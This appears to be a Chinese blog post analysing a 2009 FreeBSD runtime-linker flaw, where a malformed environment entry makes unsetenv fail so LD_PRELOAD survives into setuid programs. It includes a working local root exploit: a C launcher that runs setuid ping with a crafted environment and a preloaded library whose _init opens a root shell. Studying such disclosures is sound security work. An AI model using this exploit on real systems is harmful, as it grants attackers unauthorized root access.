关于freebsd刚刚被发现的rtld的BUG

貌似最早是在这里被公布的:http://seclists.org/fulldisclosure/2009/Nov/371

问题是这样:如果一个具有setuid属性的可执行程序具有动态连接库,那么应该把LD_PRELOAD这样的环境变量先unset掉,否则会导致以新的userid执行额外的代码。写rtld的人对这一点很明确(/libexec/rtld-elf/rtld.c):

trust = !issetugid(); 
/* * If the process is tainted, then we un-set the dangerous environment  variables. The process will be marked as tainted until setuid(2)  is called. If any child process calls setuid(2) we do not want any  future processes to honor the potentially un-safe variables. */ 
if (!trust) { 
  unsetenv(LD_ "PRELOAD"); 
  unsetenv(LD_ "LIBMAP"); 
  unsetenv(LD_ "LIBRARY_PATH"); 
  unsetenv(LD_ "LIBMAP_DISABLE"); 
  unsetenv(LD_ "DEBUG"); 
  unsetenv(LD_ "ELF_HINTS_PATH"); 
}

早期,4.4 bsd下的unsetenv函数是没有返回值的,必定成功的。可是后来为了与posix 1003.1-2001兼容,这个函数有了int类型的返回值用于标志成功与否。

现在的unsetenv是这么实现的

int 
unsetenv(const char *name) 
{ 
    int envNdx; 
    size_t nameLen;

    /* Check for malformed name. */ 
    if (name == NULL || (nameLen = __strleneq(name)) == 0) { 
        errno = EINVAL; 
        return (-1); 
    }

    /* Initialize environment. */ 
    if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1)) 
        return (-1);

   …. 
  return (0); 
}

如果__merge_environ失败,下面的清理操作就不会被执行。只要环境变量数组中有一个格式不正确(不含有=),那么merge就会失败。于是就有了下面这样的方法:

#include <stdio.h>

int main() { 
        char **environ; 
        environ = (char**)malloc(8096);

        environ[0] = strdup("1111"); 
        environ[1] = strdup("LD_PRELOAD=/tmp/w00t.so.1.0"); 
        execle("/sbin/ping", "ping", 0,environ); 
        return -1; 
}

用一个不正确的环境变量去执行一个suid程序(比如ping),让它用root身份加载一个特定的so。那个so的内容很简单:

#include <unistd.h> 
#include <stdio.h> 
#include <sys/types.h> 
#include <stdlib.h>

void _init() { 
        extern char **environ; 
        environ=NULL; 
        system("/bin/sh"); 
}

把环境变量的内容清理掉,然后给我们一个shell。如果这里不清理掉LD_PRELOAD,那么会导致system("/bin/sh")这个反复被执行下去。

此博客中的热门博文

少写代码,多读别人写的代码

在windows下使用llvm+clang

tensorflow distributed runtime初窥